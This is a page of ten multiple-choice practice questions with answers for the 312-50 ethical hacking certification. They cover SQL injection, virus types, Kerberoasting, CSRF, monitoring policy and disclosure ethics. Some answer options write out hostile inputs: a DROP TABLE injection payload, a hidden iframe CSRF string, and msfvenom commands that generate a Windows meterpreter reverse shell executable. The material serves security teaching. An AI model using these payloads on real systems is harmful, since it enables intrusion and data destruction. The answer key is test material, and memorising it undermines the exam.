312-50 practice questions 461–470

1. Question 461 · 888 in bank

   SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application. Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

   • AIn-band SQLi
   • BUnion-based SQLi
   • COut-of-band SQLi
   • DTime-based blind SQLi

   Show answer

   Answer: C

   Next question

2. Question 462 · 888 in bank

   As a cybersecurity professional, you are responsible for securing a high-traffic web application that uses MySQL as its backend database. Recently, there has been a surge of unauthorized login attempts, and you suspect that a seasoned black-hat hacker is behind them. This hacker has shown proficiency in SQL Injection and appears to be using the 'UNION' SQL keyword to trick the login process into returning additional data. However, your application’s security measures include filtering special characters in user inputs, a method usually effective against such attacks. In this challenging environment, if the hacker still intends to exploit this SQL Injection vulnerability, which strategy is he most likely to employ?

   • AThe hacker tries to manipulate the 'UNION' keyword in such a way that it triggers a database error, potentially revealing valuable information about the database's structure.
   • BThe hacker switches tactics and resorts to a 'time-based blind' SQL Injection attack, which would force the application to delay its response, thereby revealing information based on the duration of the delay.
   • CThe hacker attempts to bypass the special character filter by encoding his malicious input, which could potentially enable him to successfully inject damaging SQL queries.
   • DThe hacker alters his approach and injects a DROP TABLE' statement, a move that could potentially lead to the loss of vital data stored in the application's database.

   Show answer

   Answer: C

   Next question

3. Question 463 · 888 in bank

   How do employers protect assets with security policies pertaining to employee surveillance activities?

   • AEmployers promote monitoring activities of employees as long as the employees demonstrate trustworthiness.
   • BEmployers use informal verbal communication channels to explain employee monitoring activities to employees.
   • CEmployers use network surveillance to monitor employee email traffic, network access, and to record employee keystrokes.
   • DEmployers provide employees written statements that clearly discuss the boundaries of monitoring activities and consequences.

   Show answer

   Answer: D

   Next question

4. Question 464 · 888 in bank

   Which type of virus can change its own code and then cipher itself multiple times as it replicates?

   • AStealth virus
   • BTunneling virus
   • CCavity virus
   • DEncryption virus

   Show answer

   Answer: D

   Next question

5. Question 465 · 888 in bank

   You're the security manager for a tech company that uses a database to store sensitive customer data. You have implemented countermeasures against SQL injection attacks. Recently, you noticed some suspicious activities and suspect an attacker is using SQL injection techniques. The attacker is believed to use different forms of payloads in his SQL queries. In the case of a successful SQL injection attack, which of the following payloads would have the most significant impact?

   • AUNION SELECT NULL, NULL, NULL -- : This payload manipulates the UNION SQL operator, enabling the attacker to retrieve data from different database tables
   • B' OR username LIKE '%': This payload uses the LIKE operator to search for a specific pattern in a column
   • C' OR '1'='l: This payload manipulates the WHERE clause of an SQL statement, allowing the attacker to view unauthorized data
   • D' OR 'a'='a; DROP TABLE members; --: This payload combines the manipulation of the WHERE clause with a destructive action, causing data loss

   Show answer

   Answer: D

   Next question

6. Question 466 · 888 in bank

   An ethical hacker for a large security research firm performs penetration tests, vulnerability tests, and risk assessments. A friend recently started a company and asks the hacker to perform a penetration test and vulnerability assessment of the new company as a favor. What should the hacker's next step be before starting work on this job?

   • AStart by foot printing the network and mapping out a plan of attack.
   • BAsk the employer for authorization to perform the work outside the company.
   • CBegin the reconnaissance phase with passive information gathering and then move into active information gathering.
   • DUse social engineering techniques on the friend's employees to help identify areas that may be susceptible to attack.

   Show answer

   Answer: B

   Next question

7. Question 467 · 888 in bank

   A malicious user has acquired a Ticket Granting Service from the domain controller using a valid user's Ticket Granting Ticket in a Kerberoasting attack. He exhorted the TGS tickets from memory for offline cracking. But the attacker was stopped before he could complete his attack. The system administrator needs to investigate and remediate the potential breach. What should be the immediate step the system administrator takes?

   • APerform a system reboot to clear the memory
   • BDelete the compromised user's account
   • CChange the NTLM password hash used to encrypt the ST
   • DInvalidate the TGS the attacker acquired

   Show answer

   Answer: D

   Next question

8. Question 468 · 888 in bank

   A computer technician is using a new version of a word processing software package when it is discovered that a special sequence of characters causes the entire computer to crash. The technician researches the bug and discovers that no one else experienced the problem. What is the appropriate next step?

   • AIgnore the problem completely and let someone else deal with it.
   • BCreate a document that will crash the computer when opened and send it to friends.
   • CFind an underground bulletin board and attempt to sell the bug to the highest bidder.
   • DNotify the vendor of the bug and do not disclose it until the vendor gets a chance to issue a fix.

   Show answer

   Answer: D

   Next question

9. Question 469 · 888 in bank

   An attacker changes the profile information of a particular user (victim) on the target website. The attacker uses this string to update the victim's profile to a text file and then submit the data to the attacker's database. <iframe src=""http://www.vulnweb.com/updateif.php"" style=""display:none""></iframe> What is this type of attack (that can use either HTTP GET or HTTP POST) called?

   • ACross-Site Request Forgery
   • BSQL Injection
   • CBrowser Hacking
   • DCross-Site Scripting

   Show answer

   Answer: A

   Next question

10. Question 470 · 888 in bank

    What is the correct way of using MSFvenom to generate a reverse TCP shellcode for Windows?

    • Amsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
    • Bmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
    • Cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
    • Dmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

    Show answer

    Answer: C

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

312-50 practice, question 461. 888 questions available.